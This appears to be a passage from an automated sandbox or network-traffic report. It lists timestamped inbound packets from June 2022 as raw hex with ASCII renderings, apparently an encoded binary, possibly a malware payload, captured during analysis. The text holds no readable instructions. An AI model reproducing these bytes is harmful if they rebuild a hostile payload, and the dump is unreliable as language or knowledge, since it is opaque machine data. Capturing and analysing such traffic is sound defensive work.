1b da da c4 ea dc 25 25 66 03 c4 2d dc 25 25 66 d6 Data Ascii: e%(%%/%?7%%f !6f8f.{20^f^^!^1X1%%%^)d)If)IfU\!Zf)IdiI)P%%%%%ffyI)E%PQE%A%^A%1hJ%%E%A%f%%diI)fiI)%'P=fiI)diI-fiI--fiI-,^1f)IdiI)^'fiI)dMfiI)^)g%%f-%%f
2022-06-26 07:43:17 UTC	615	IN	Data Raw: 2b a5 5d 47 50 e8 66 2b a5 9d dc 47 50 e0 5e 2b 27 c6 ba 0e c8 66 2b 64 69 49 31 c6 36 66 2b a5 5d 47 50 65 66 2b 75 0d 7b c0 da da 64 2b c6 39 66 2b 75 0d 6f c0 da da 64 e2 66 e2 06 2b de 0d 66 e2 64 2b 66 2b af 3d a9 b6 99 e0 a5 d6 47 50 ba 66 2b a5 5d 25 99 45 66 2b 75 0d 47 c0 da da 64 2b c6 39 66 2b 75 0d 3b c0 da da 64 e2 66 e2 06 2b de 0d 66 e2 64 2b 66 2b a5 5d 45 52 c3 66 69 49 29 66 b0 0d 9d f4 25 25 66 69 49 31 64 2b 66 69 49 29 66 25 64 69 49 35 0e c8 c6 56 66 2b a5 5d 47 50 75 66 2b 75 0d b0 09 da da 64 2b c6 49 66 2b 75 0d a4 09 da da 64 e2 66 2b 16 e2 4e 39 66 2b af 25 66 79 49 35 ad 29 4f da 2b 20 66 2b 16 e2 97 11 66 2b af 3d a9 b6 99 e0 a5 d6 47 50 aa 66 2b a5 5d 25 99 55 66 2b 75 0d 6c 09 da da 64 2b c6 49 66 2b 75 0d 60 09 da da 64 e2 Data Ascii: +]GPf+GP^+'f+diI16f+]GPef+u{d+9f+uodf+fd+f+=GPf+]%Ef+uGd+9f+u;df+fd+f+]ERfiI)f%%fiI1d+fiI)f%diI5Vf+]GPuf+ud+If+udf+N9f+%fyI5)O+ f+f+=GPf+]%Uf+uld+If+u`d
2022-06-26 07:43:17 UTC	616	IN	Data Raw: 59 65 25 25 25 a0 53 e1 c7 8c 12 65 25 25 65 9b 5f 46 e6 03 5f 65 25 25 0d 64 29 fe a2 af 63 65 25 25 87 d1 a0 c6 9d 88 1c 65 25 a5 9f f2 92 4b b2 fd 69 65 25 b5 d1 93 57 9d ab 62 6d 65 25 d9 32 2f 1a 3b 8d 84 26 65 25 7c c8 f1 f3 f6 e7 ae 73 65 c5 a9 39 65 3c 2c 34 a9 77 65 ed 80 f4 b5 94 80 4a 80 30 65 5f ea 45 19 02 6a a6 f3 7d 65 a9 e4 b9 1d 9d 14 1a 5c 81 65 c0 e6 94 5b b2 e2 6a 7c 3a 65 ba 73 42 29 a8 a4 17 a4 87 65 bb 47 5c 20 65 a1 4a 21 40 65 c3 90 95 06 cd 88 a0 78 44 65 b0 cb aa da 24 fa 9d e7 ae 65 7e 39 76 a0 3b 86 8e ca 18 1c 05 b1 c4 a5 a4 22 df 6e cd 1c cf f2 0b 5a 06 7c 3b db 37 67 46 30 02 14 68 d2 95 05 a1 67 55 a4 61 be da bb 77 af c2 67 b3 03 d4 78 d6 c6 a3 cf 2c 1e b1 0a 8f 81 f4 21 4b f7 96 1e 9b be f1 17 04 0a a9 5c 4b 69 f7 2f b5 Data Ascii: Ye%%%Se%%e_F_e%%d)ce%%e%Kie%Wbme%2/;&e%\|se9e<,4weJ0e_Ej}e\e[j\|:esB)eG\ eJ!@exDe$e~9v;"nZ\|;7gF0hgUawgx,!K\Ki/
2022-06-26 07:43:17 UTC	618	IN	Data Raw: 7b 8b 66 57 8b e4 1b 99 f2 8b 5c 23 25 e5 4e 35 75 66 25 0d 9d da da da 7d 99 e0 64 cc 83 da bc 83 66 2d da 3c 15 9e b5 77 2c 2e a9 f7 a1 de da 75 19 0c f7 68 71 49 35 89 66 3f 64 f4 64 44 2d a2 1c 29 f4 12 65 25 64 1c 31 89 64 2f 36 34 7f 9e c4 5f dc 25 25 66 69 49 51 66 65 31 60 e5 99 33 66 2d d7 5c 75 da 2c 21 7d 0d e4 25 25 25 0d cd 27 25 25 9e 68 65 25 66 35 da 77 1d 9e 66 e5 2e 66 fd 66 9e 66 35 da 77 09 66 9e 36 9e 66 e5 a9 f7 5a dc 9e 75 77 66 35 da 77 0d 7f 7d 9e b5 a5 18 4d e5 1c 25 dc 9b ec 8f 25 8f 25 8f 25 8d ba 1f c8 33 da f0 39 05 1c 25 9e b5 a5 18 4d e5 1c 25 25 99 f2 75 75 77 79 8f 27 8f 25 8d 09 1f c8 33 da f0 39 05 1c 25 5e e9 2d 7d 9e 68 65 25 79 8f dc 8f 25 8d 05 1f c8 33 da f0 39 05 1c 25 5e e9 29 7d 9e 68 65 25 a5 18 4d e5 1c 25 dc Data Ascii: {fW\#%N5uf%}df-<w,.uhqI5f?ddD-)e%d1d/64_%%fiIQfe1`3f-\u,!}%%%'%%he%f5wf.fff5wf6fZuwf5w}M%%%%39%M%%uuwy'%39%^-}he%y%39%^)}he%M%
2022-06-26 07:43:17 UTC	619	IN	Data Raw: 65 29 64 20 21 0e e5 30 8d 38 61 65 25 89 da 55 89 64 45 60 b6 a3 f6 26 64 83 31 66 20 21 66 69 fd 29 64 20 1d 5e 58 1d 25 99 de da 30 1d 60 b6 5a c0 0e e5 7f 34 34 89 64 35 c6 39 c4 1b d6 da da 0d 7c da da da 0d 9d d8 da da 0d a2 d8 da da 3a 83 36 34 34 38 9e 30 66 11 5e e9 1d 2e 7b 32 9a 5d 0b 1c 25 66 22 2d 60 e5 99 79 66 55 0e b6 66 65 29 64 20 21 0e e5 30 8d a8 61 65 25 89 da 55 89 64 45 16 ce a3 3f 66 20 21 66 29 fd 64 20 1d 1e 64 3a 31 5e 58 1d 25 99 de da 30 1d 16 ce 5a 0b 0e e5 7f 34 34 89 64 35 c6 39 c4 ab d6 da da 0d 0c da da da 0d 2d d8 da da 0d 32 d8 da da 3a 83 36 34 34 38 9e 2c 7b 32 e3 5d 0b 1c 25 68 58 e9 94 e6 25 25 25 ce 80 6a e0 7d 0b 1c 25 6a e0 79 0b 1c 25 64 08 71 0b 1c 25 64 f8 75 0b 1c 25 7e 65 0b 1c 25 64 f0 6d 0b 1c 25 68 28 e9 Data Ascii: e)d !08ae%UdE`&d1f !fi)d ^X%0`Z44d59\|:64480f^.{2]%f"-`yfUfe)d !0ae%UdE?f !f)d d:1^X%0Z44d59-2:6448,{2]%hX%%%j}%jy%dq%du%~e%dm%h(
2022-06-26 07:43:17 UTC	620	IN	Data Raw: 0d 7c f5 da da 38 e7 29 25 b5 2e 7b 32 30 5c e9 29 15 da da 75 5e e9 21 66 cc 64 39 49 66 1d 60 1b 5a e4 66 a2 0d a9 23 da da c6 3a 68 93 dc 5c d8 da e2 25 25 58 4d 7b 68 69 49 2d 66 71 49 29 df da ea 25 25 0d a9 da da da 66 fd 60 b6 a1 ea 68 79 49 29 66 a2 66 a6 0d 1c da da da c6 51 66 b8 de b6 66 a2 66 ae 0d 57 29 25 25 7b 66 e2 66 71 49 29 66 ae 0d 79 da da da 66 fd 60 b6 58 27 0e b6 66 a2 66 ae 0d ee 29 25 25 5c e9 29 35 25 25 38 3a 83 36 9e 77 64 07 94 dc 25 25 25 0d d6 23 da da 7f 9e b5 0c a4 60 f7 99 fc 77 5f 2f 99 f2 5f 6f dc 99 ec 5f 6f 27 99 e6 5f 6f de 99 e0 5e e7 29 c6 0d 67 67 67 64 ac 7f 04 ac c4 f1 23 da da 9e 68 65 25 0c a4 60 f7 99 08 77 8b 16 2f 99 45 8b 16 6f 27 99 f2 8b 16 6f 29 99 33 8b 16 6f 2b 99 e0 5e e7 2d c6 09 5e e7 27 5e e7 27 Data Ascii: \|8)%.{20\)u^!fd9If`Zf#:h\%%XM{hiI-fqI)%%f`hyI)ffQfffW)%%{ffqI)fyf`X'ff)%%\)5%%8:6wd%%%#`w_/_o_o'_o^)gggd#he%`w/Eo'o)3o+^-^'^'
2022-06-26 07:43:17 UTC	622	IN	Data Raw: 25 25 25 75 0d a9 a6 da da 5e 9e 29 73 50 0d 83 36 9e 68 65 25 60 f7 ea a9 e1 da da da 66 6f 21 ac c4 ea a9 8c da da da 2c 77 75 0d 30 a6 da da 60 e5 ea a9 4c da da da 9e 2e 7b 32 30 5c e9 29 15 da da 75 5e e9 21 66 cc 64 39 49 66 1d 60 1b 5a e4 66 a2 0d a5 da da da c6 38 68 93 dc 5c d8 da e2 25 25 58 4d 7b 68 69 49 2d 66 71 49 29 df da e2 25 25 0d 41 1f da da 66 fd 60 b6 a3 ea 68 79 49 29 66 a2 66 a6 0d 14 25 25 25 c6 4f 66 b8 66 a2 66 ae 0d ad dc 25 25 7b 66 e2 66 71 49 29 66 ae 0d 13 d4 da da 66 fd 60 b6 58 27 0e b6 66 a2 66 ae 0d 44 dc 25 25 5c e9 29 35 25 25 38 3a 83 36 9e 66 e5 60 a4 ea a9 31 da da da 75 2c 77 0d cd ef da da 60 e5 ea a9 f1 23 da da 7f da 57 64 27 0d cb ef da da 9e b5 0c a4 60 f7 99 08 77 8b 16 2f 99 45 8b 16 6f 27 99 f2 8b 16 6f 29 Data Ascii: %%%u^)sP6he%`fo!,wu0`L.{20\)u^!fd9If`Zf8h\%%XM{hiI-fqI)%%Af`hyI)ff%%%Offf%%{ffqI)ff`X'ffD%%\)5%%8:6f`1u,w`#Wd'`w/Eo'o)
2022-06-26 07:43:17 UTC	623	IN	Data Raw: da da da 2a 5a 0d 38 c6 57 30 64 b0 64 fd de 81 53 27 64 17 0d fa da da da 2a 5a 15 38 c6 41 66 de 5e 9e 29 0d 42 33 25 25 2a 5a ce c6 e8 66 de 5e 9e 29 0d 45 e2 25 25 2a 5a ce 3a 83 36 9e b5 5e 18 3d e5 1c 25 25 99 e2 da f0 3d e5 1c 25 9e d5 35 0d 60 03 da da 9e 2e 7b 32 30 64 9e 64 fb 0c e5 af 1c dc 68 a1 2d 2f 66 4a 21 0c e5 66 2a 1d 2c 66 2a 29 04 9c a3 e6 64 e7 dc 15 dc ff 0d 1d 03 da da 66 22 29 66 f2 66 37 af 2f a5 d4 2f 99 0c a5 d4 e6 99 18 a5 d4 31 99 24 a5 d4 e8 99 30 a5 d4 33 99 95 a5 d4 ea ea a9 a5 25 25 25 a5 d4 ec ea a9 ad 25 25 25 d5 27 38 3a 83 36 c4 f4 03 da da 66 39 55 dc fd 0d 5e ce da da dd 29 25 25 25 c6 58 66 39 55 dc fd 0d 03 d4 da da dd 29 25 25 25 c6 91 68 39 55 dc fd 0d 2c da da da dd 35 25 25 25 c6 36 0c a4 af 6f dc da 99 ec 27 Data Ascii: Z8W0ddS'dZ8Af^)B3%%Zf^)E%%Z:6^=%%=%5`.{20ddh-/fJ!f,f)df")ff7//1$03%%%%%%'8:6f9U^)%%%Xf9U)%%%h9U,5%%%6o'
2022-06-26 07:43:17 UTC	624	IN	Data Raw: 66 3d 60 b6 5a f6 60 b6 58 e2 d5 29 0d 97 b4 da da 66 20 21 66 30 1d 0d 9a da da da c4 3e dc 25 25 0e da 5e 58 0d 25 99 e8 5e 48 0d 29 66 20 0d 66 5d 5e 48 0d 29 66 20 1d ea db 65 dc dc 20 1d 66 20 1d 66 95 27 66 75 2b 60 f7 99 e2 66 27 64 20 1d c6 e0 0e e5 64 20 1d 66 9e d2 13 64 20 11 66 20 11 74 d2 d6 16 15 99 e2 d5 29 0d 37 b4 da da 5e 20 11 2d 5e 58 0d 25 99 2d 66 20 0d 5e 5d dc 50 61 66 20 0d 64 20 09 16 d6 a3 fa 5e 58 1d 25 99 f4 66 20 0d 5e e5 2d 66 ae ea 8a fb de e7 66 aa 06 a6 66 30 1d 0d 02 da da da 68 20 09 66 30 11 0d ed b2 da da 66 20 09 64 20 0d c6 3e 66 20 0d da 2d 66 20 11 0d 3e b2 da da 64 20 0d 64 58 15 16 38 15 58 de 64 38 15 5e 58 1d 25 99 51 66 30 15 ea 8a fb 66 20 0d 5e e5 2d 0e a4 0d 65 01 da da 66 20 15 75 66 30 21 66 37 66 20 0d Data Ascii: f=`Z`X)f !f0>%%^X%^H)f f]^H)f e f f'fu+`f'd d fd f t)7^ -^X%-f ^]Paf d ^X%f ^-fff0h f0f d >f -f >d dX8Xd8^X%Qf0f ^-ef uf0!f7f
2022-06-26 07:43:17 UTC	626	IN	Data Raw: 0d e0 25 25 25 68 60 ba 23 da da df e0 dc 25 25 0d 5c d8 da da 68 20 0d 75 68 20 13 75 8f 25 8f 25 68 60 ba 23 da da 75 66 20 1d 75 0d 04 96 da da 60 e5 99 47 68 20 0d 75 68 20 13 75 8f 25 8f 25 8d f1 7d 65 25 66 20 1d 75 0d e6 96 da da 60 e5 99 29 eb 20 13 25 eb 20 17 25 0e e5 7f 34 34 89 64 35 8d 32 32 65 25 66 20 1d 75 0d b4 df da da 9e c4 0a 07 da da c6 ca 8d e0 dc 25 25 66 20 21 75 68 60 ba 23 da da 75 0d c9 df da da 8f e0 68 20 ce 75 8f de 0d 5a df da da 75 0d 2c df da da 0e b6 a5 98 ba 23 da da 25 ea a9 d4 25 25 25 a5 58 ce 25 50 2f a5 58 13 25 ea a9 c4 25 25 25 68 60 ba 23 da da 75 0d 93 df da da 68 70 ba 23 da da de e7 64 20 09 c6 de da 28 09 66 20 09 a5 5d 53 99 e6 68 60 ba 23 da da 16 20 09 50 0f 68 60 ba 23 da da 16 20 09 ea a9 86 25 25 25 da Data Ascii: %%%h`#%%\h uh u%%h`#uf u`Gh uh u%%}e%f u`) % %44d522e%f u%%f !uh`#uh uZu,#%%%%X%P/X%%%%h`#uhp#d (f ]Sh`# Ph`# %%%
2022-06-26 07:43:17 UTC	627	IN	Data Raw: 5e e9 15 2e 7b 64 28 19 64 30 1d 64 20 21 5e 58 19 25 50 2f 0e e5 64 20 15 c4 e4 dc 25 25 a2 20 15 da da da da 0e e5 0e 1b 5e 58 21 25 ea a9 84 25 25 25 c4 a7 25 25 25 66 30 19 0e a4 af 31 57 6b 1b 9c a5 99 91 16 50 2d ea 5e fd 25 25 25 5e bc 1a 1b 9c 45 99 53 66 30 19 af 39 57 6b 66 ff a5 be e5 a5 d6 a5 ea 60 96 25 25 25 16 50 2d ea 5e d7 25 25 25 a5 07 1a 5c 07 da 25 25 25 9c bc 2b e6 ac 66 ef 66 30 19 af 39 57 6b 66 ff a5 be e5 a5 d6 a5 ea 60 68 25 25 25 a5 07 1a 5c 07 da 25 25 25 9c bc 2b 8b e6 ac 66 28 21 8b 64 39 1c c6 e2 66 30 21 8b 64 31 67 65 16 50 2d 4e e4 16 20 1d ea a7 95 da da da 16 20 1d 97 29 66 20 1d 6d 66 30 21 8b a2 29 67 25 25 c6 22 16 50 2d 4e 67 66 30 19 af 39 57 6b 1b e7 a5 99 55 16 50 2d 4e 10 a5 07 1a 1b e7 45 99 39 66 30 19 af 39 Data Ascii: ^.{d(d0d !^X%P/d %% ^X!%%%%%%%f01WkP-^%%%^ESf09Wkf`%%%P-^%%%\%%%+ff09Wkf`h%%%\%%%+f(!d9f0!d1geP-N )f mf0!)g%%"P-Ngf09WkUP-NE9f09
2022-06-26 07:43:17 UTC	628	IN	Data Raw: 7c c1 e5 1c 25 75 0d 68 da da da 7f 36 9e 66 e5 dd 31 25 25 25 60 e5 99 fa 0d 87 da da da 7e c1 e5 1c 25 0d bd da da da 7c c1 e5 1c 25 75 0d 38 da da da 7e 99 0b 1c 25 9e 68 65 25 2c dd 31 25 25 25 60 e5 99 4b 5e 18 c1 e5 1c 25 da 99 f8 7c c1 e5 1c 25 75 0d 5b da da da 64 29 49 5e 61 49 25 99 e4 66 29 49 75 0d 31 da da da 7f 9e 66 e5 dd 31 25 25 25 60 e5 99 f4 0d e3 da da da 5e 18 c1 e5 1c 25 da 99 e6 7c c1 e5 1c 25 75 0d 1b 23 da da 9e b5 af e8 89 0b 1c 25 7c c1 e5 1c 25 a9 a4 50 4b 89 66 f0 51 25 25 25 66 29 a7 9e 0d e8 da da da 7c c1 e5 1c 25 75 0d f7 23 da da 60 e5 99 dc 9e 7c 99 0b 1c 25 9e 75 0d 9c 23 da da 60 e5 99 b6 9e dd c5 e5 1c 25 0d 9b d2 da da 9e b5 df c5 e5 1c 25 5e 58 31 dc 50 4f 75 77 eb e0 89 0b 1c 25 dc 66 28 2d 64 e8 8d 0b 1c 25 64 6f Data Ascii: \|%uh6f1%%%`~%\|%u8~%he%,1%%%`K^%\|%u[d)I^aI%f)Iu1f1%%%`^%\|%u#%\|%PKfQ%%%f)\|%u#`\|%u#`%%^X1POuw%f(-d%do
2022-06-26 07:43:17 UTC	630	IN	Data Raw: 1d 64 20 21 66 28 1d 1c 66 20 21 66 f0 25 35 65 25 0d 88 09 da da 66 20 19 0d ac b8 da da 0e e5 30 8d 9f 42 65 25 89 da 55 89 64 45 eb 20 ce 25 66 50 1d 6b 73 60 1b a1 55 6b 0e da 66 38 21 66 20 19 0d dd b8 da da 75 66 de 0d d5 b8 da da 75 0d 67 23 da da 60 e5 50 e4 66 20 2d 64 5d eb 20 ce dc 22 5e 9e 29 73 50 fb 0e e5 7f 34 34 89 64 35 8d 5c 42 65 25 68 20 19 0d 9c fd da da 66 20 21 66 28 1d 1c 66 f0 25 35 65 25 0d ce 07 da da 9e c4 e0 f7 da da c6 03 af 20 ce 66 58 09 66 50 0d 66 38 11 66 c0 38 e7 29 25 b5 0e f7 84 25 25 25 29 99 2b 5c ef 25 27 25 25 84 25 25 25 45 99 08 84 25 25 25 65 99 ec 84 25 25 25 a5 99 e0 5e ef 65 c6 1c 5e ef 45 c6 61 84 25 25 25 a5 99 2d 5c ef a5 25 25 25 c6 08 5e ef 35 66 e7 9e 84 25 25 25 65 99 ec 84 25 25 25 a5 99 e0 5e ef 29 Data Ascii: d !f(f !f%5e%f 0Be%UdE %fPks`Ukf8!f ufug#`Pf -d] "^)sP44d5\Be%h f !f(f%5e% fXfPf8f8)%%%%)+\%'%%%%%E%%%e%%%^e^Ea%%%-\%%%^5f%%%e%%%^)
2022-06-26 07:43:17 UTC	631	IN	Data Raw: 35 8d 83 91 65 25 68 20 19 66 f0 41 8b 65 25 0d ef b8 da da 9e c4 4d a8 da da c6 0f 66 20 05 3a 83 36 66 c0 38 9e 30 66 11 0e e5 30 8d 68 91 65 25 89 da 55 89 64 45 da e0 a5 0b 1c 25 0e e5 7f 34 34 89 64 35 8d b9 91 65 25 9e c4 17 f1 da da c6 1d 38 9e 66 e5 5e 08 a5 0b 1c 25 dc 9e 8d 0b 1c 25 15 da 25 25 8d 0b 1c 25 cc da 25 25 8d 0b 1c 25 17 da 25 25 8d 0b 1c 25 ce da 25 25 8d 0b 1c 25 19 da 25 25 8d 0b 1c 25 d0 da 25 25 8d 0b 1c 25 1b da 25 25 8d 0b 1c 25 d2 da 25 25 8d 0b 1c 25 1d da 25 25 8d 0b 1c 25 d4 da 25 25 8d 0b 1c 25 1f da 25 25 8d 0b 1c 25 d6 da 25 25 8d 0b 1c 25 21 da 25 25 8d 0b 1c 25 d8 da 25 25 8d 0b 1c 25 23 da 25 25 8d 0b 1c 25 da da 25 25 8d 0b 1c 25 05 da 25 25 8d 0b 1c 25 bc da 25 25 8d 0b 1c 25 07 da 25 25 8d 0b 1c 25 be da 25 25 8d Data Ascii: 5e%h fAe%Mf :6f80f0he%UdE%44d5e%8f^%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%!%%%%%%#%%%%%%%%%%%%%%%%%
2022-06-26 07:43:17 UTC	632	IN	Data Raw: 25 25 25 25 25 f1 4c 65 25 35 25 25 25 4d 4c 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 37 20 20 9d 99 40 97 93 3c 91 20 9d 3e 40 95 99 44 4a 93 b5 51 97 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 51 97 65 25 35 25 25 25 4d 4c 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 e4 20 24 93 99 20 97 97 4a 97 66 e5 a9 97 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 a9 97 65 25 35 25 25 25 05 4c 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 2f 20 69 44 9b 67 54 7f 40 97 4a b5 01 97 65 25 25 25 25 25 25 25 Data Ascii: %%%%%Le%5%%%MLe%[e%[e%[e%[e%[e%YYe%uYe%Ye%7 @< >@DJQe%%%%%%%%%%%%%%%%%%%%%%%%%%%%%Qe%5%%%MLe%[e%[e%[e%[e%[e%YYe%uYe%Ye% $ Jfe%%%%%%%%%%%%%%%%%%%%%%%%%%%%%e%5%%%Le%[e%[e%[e%[e%[e%YYe%uYe%Ye%/ iDgT@Je%%%%%%%
2022-06-26 07:43:17 UTC	634	IN	Data Raw: d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 33 20 2e 99 3c 3e 46 2a 9b 40 97 8b 91 4a 52 b5 95 52 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 95 52 65 25 35 25 25 25 4d 4c 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 e4 20 1e 4a 93 99 97 4a 91 1e 66 e5 ed 52 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 ed 52 65 25 31 25 25 25 d5 4a 65 25 d9 5b 65 25 e5 5b 65 25 e9 5b 65 25 ed 5b 65 25 e1 5b 65 25 59 59 65 25 75 59 65 25 b1 59 65 25 e8 20 7b 3c 97 44 3c 93 99 20 97 97 4a 97 66 e5 49 9d 65 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 25 Data Ascii: [e%[e%[e%[e%[e%YYe%uYe%Ye%3 .<>F*@JRRe%%%%%%%%%%%%%%%%%%%%%%%%%%%%%Re%5%%%MLe%[e%[e%[e%[e%[e%YYe%uYe%Ye% JJfRe%%%%%%%%%%%%%%%%%%%%%%%%%%%%%Re%1%%%Je%[e%[e%[e%[e%[e%YYe%uYe%Ye% {<D< JfIe%%%%%%%%%%%%%%%%%%%%%%%%
2022-06-26 07:43:17 UTC	635	IN	Data Raw: 32 2e 64 eb 64 b2 e4 e5 99 de 66 65 21 e4 f7 99 de 66 77 21 64 9c 14 ac 9b 27 64 ac 14 a4 ce cb 99 4f af 83 da a5 d6 3c 97 2d a5 d6 9f 52 de a5 c6 45 af 5a da a5 da 3c 97 2d a5 da 9f 52 de a5 ca 45 5d d6 99 fd ea db 9e ea db b2 04 f5 36 3a 83 9e b5 14 f5 99 f4 e4 e5 99 f2 e4 f7 99 39 66 6d 21 16 6f 21 50 31 0d 6e da da da 60 e5 50 de d5 dc 9e 0c e5 9e b5 2e 7b 66 17 66 fd 66 eb 0d f2 eb da da 75 66 eb 0d ea ed da da 75 66 9e 0d e2 eb da da 75 66 9e 0d da a2 da da 75 8f 25 8d 25 29 25 25 0d 87 0b da da 5e 0d 27 83 36 9e 2e 7b 66 17 66 fd 66 eb 0d ba a0 da da 75 66 eb 0d b2 a2 da da 75 66 9e 0d aa a0 da da 75 66 9e 0d a2 a2 da da 75 8f dc 8d 25 29 25 25 0d 4f 0b da da 5e 0d 27 83 36 9e 2e 7b 66 17 66 fd 66 fb 66 9e 0d 94 da da da 60 e5 ea b9 e5 83 36 9e b5 Data Ascii: 2.ddfe!fw!d'dO<-REZ<-RE]6:9fm!o!P1n`P.{fffufufufu%%)%%^'6.{fffufufufu%)%%O^'6.{ffff`6
2022-06-26 07:43:17 UTC	636	IN	Data Raw: 9c 1c 25 75 66 29 90 6d 9c 1c 25 75 66 a2 0d 0a 9e da da 75 0d 94 bc da da 3a 83 36 9e b5 2e 66 fd 8f 25 8d a5 25 25 25 8f 27 8f 25 8f 25 8d 25 25 25 e5 66 9e 0d 2d 9e da da 75 0d b7 bc da da 36 9e 0d b2 da da da 9e 66 e5 2e 7b 32 2c 66 d4 66 17 66 fd 8f 25 68 69 49 29 75 32 7b 2e 0d a2 07 da da 60 e5 50 e2 a2 29 49 da da da da 66 29 49 7f 3a 83 36 9e 2e 7b 32 2c 66 d4 66 17 66 fd 8f 25 68 69 49 29 75 32 7b 2e 0d fe be da da 60 e5 50 e2 a2 29 49 da da da da 66 29 49 7f 3a 83 36 9e 30 66 11 5e e9 1d 2e 7b 66 17 66 fd 66 20 2d 64 20 1d 66 20 31 64 20 21 7b 68 20 21 75 66 20 1d 75 2e 0d 74 07 da da 64 20 1d 66 20 1d 66 30 21 83 36 34 34 38 e7 2d 25 75 0d ef 05 da da 9e b5 30 66 11 5c e9 d9 23 da da 2e 66 fd 68 60 d9 23 da da 75 66 9e 0d 6b e7 da da 75 0d 4d Data Ascii: %uf)m%ufu:6.f%%%%'%%%%%f-u6f.{2,fff%hiI)u2{.`P)If)I:6.{2,fff%hiI)u2{.`P)If)I:60f^.{fff -d f 1d !{h !uf u.td f f0!6448-%u0f\#.fh`#ufkuM
2022-06-26 07:43:17 UTC	638	IN	Data Raw: 0c e5 64 20 21 de 28 35 64 58 1d 0c e5 64 20 19 64 20 15 64 20 11 e4 f7 99 e8 14 f3 99 e4 d1 61 00 99 33 cf 6f 50 ce 64 1d 06 20 1d c4 fe de 25 25 14 f3 99 17 d1 61 00 99 c4 68 83 23 64 38 0d ad 20 c2 61 08 50 e0 14 f3 99 01 d1 0d a3 25 25 25 61 5f 50 2f 64 38 19 14 f3 99 a6 d1 c6 bc 64 38 05 96 da da da da 61 53 50 2f 14 f3 99 dd d1 0d 7f 25 25 25 64 38 01 64 50 fd 2c 77 0d 70 25 25 25 7f 66 38 05 04 a6 4e 27 0c b6 a5 58 c2 08 50 2f 04 ef 4e 29 dc ac 0c f7 ce c9 62 b4 04 ef 4e 29 dc ac 0c f7 d5 45 ce cf 62 b4 04 ef 4e 29 dc ac 0c f7 ce c9 5e 58 15 25 99 2f 77 68 20 15 0d 41 da da da 7f 34 66 50 fd c4 22 da da da 0c b6 61 4f 99 47 61 55 97 18 61 14 52 14 44 b6 2f 25 25 25 51 55 ea db e5 dc 9e 14 f3 99 de d1 c6 09 7d c4 55 da da da 66 20 19 16 20 2d 5a 37 Data Ascii: d !(5dXd d d a3oPd %%ah#d8 aP%%%a_P/d8d8aSP/%%%d8dP,wp%%%f8N'XP/N)bN)EbN)^X%/wh A4fP"aOGaUaRD/%%%QU}Uf -Z7
2022-06-26 07:43:17 UTC	639	IN	Data Raw: 25 ad 20 17 a2 20 11 25 25 25 25 dd ee 25 25 25 a5 d4 25 50 f2 66 20 31 5e 1d 27 58 e0 dd 27 25 25 25 5e 1d 37 a3 e0 dd 37 25 25 25 64 20 31 75 dd ea 02 25 25 a5 58 35 27 97 de 66 20 2d 75 68 20 f9 0d 38 27 25 25 66 58 21 ea 92 20 f9 08 da 5a 25 25 5e 1d 27 4e 3f 64 9c 0d 95 25 25 25 68 d9 24 e5 b1 65 25 de 50 11 94 de 25 25 25 ce c9 c6 08 68 50 b2 ea db 38 35 a5 d6 dc 99 35 a5 d6 29 52 e4 ea 9a 20 f9 16 20 31 a3 27 8e 25 68 41 78 d1 b1 65 25 de 38 11 66 f6 de 38 11 da ae 64 1d 06 20 21 36 83 3a c4 cc dc 25 25 b4 b1 65 25 10 68 65 25 91 68 65 25 91 68 65 25 fb 68 65 25 24 73 6b 73 1c 73 d1 2d e5 50 de d5 55 73 9e a5 58 fb 25 99 de d5 08 cf 9e 0d cc da da da ea 9a 28 f9 0c f7 16 28 31 5a f8 5e d4 d8 a1 3d e4 a4 5a 3f d5 55 cf a5 63 25 99 5f af 20 d6 cf d2 Data Ascii: % %%%%%%%%Pf 1^'X'%%%^77%%%d 1u%%X5'f -uh 8'%%fX! Z%%^'N?d%%%h$e%P%%%hP855)R 1'%hAxe%8f8d !6:%%e%he%he%he%he%$skss-PUsX%((1Z^=Z?Uc%_
2022-06-26 07:43:17 UTC	640	IN	Data Raw: da 36 a5 da 08 50 27 b4 05 a5 d6 25 99 29 ba 1a c6 27 b6 1a 76 ba 05 8b 84 e4 25 50 2b d5 dc c6 29 b8 fd 0c e5 76 b6 07 b4 48 1d 76 c6 7b d1 2d e5 99 29 61 45 99 d2 73 9e 0c e5 0c f7 d1 51 5f 29 2f 4e ea ff e8 a1 9c 1c 25 64 20 19 ff 20 19 67 c6 0f 73 9e 0c e5 0c f7 af 33 a5 d4 06 99 e0 a5 d4 08 50 dc 6b af 2b 51 5f 29 2f 4e 33 6b 46 f7 2f dc e7 5c 1f 19 dc 25 25 97 0f a5 d4 08 50 27 d2 ff 9e 36 83 3a 66 c0 38 9e 30 66 11 5e e9 e5 2e 66 fd 8f 25 8f ea 8f 25 68 30 2d 68 20 e5 0e a4 0d f5 d4 da da 66 ed 68 30 e5 66 9e 0d 31 8a da da 36 66 c0 38 e7 31 25 b5 30 66 11 5e e9 e5 2e 66 fd 8f 25 8f 25 8f 25 68 30 2d 68 20 e5 8c dc 0d c5 d4 da da 66 ed 68 30 e5 66 9e 0d 01 d3 da da 36 66 c0 38 e7 2d 25 b5 2e 7b 66 17 66 fd 66 9e 0d 72 d7 da da 66 fb 0e a4 0d 9b 23 Data Ascii: 6P'%)'v%P+)vHv{-)aEsQ_)/N%d gs3Pk+Q_)/N3kF/\%%P'6:f80f^.f%%h0-h 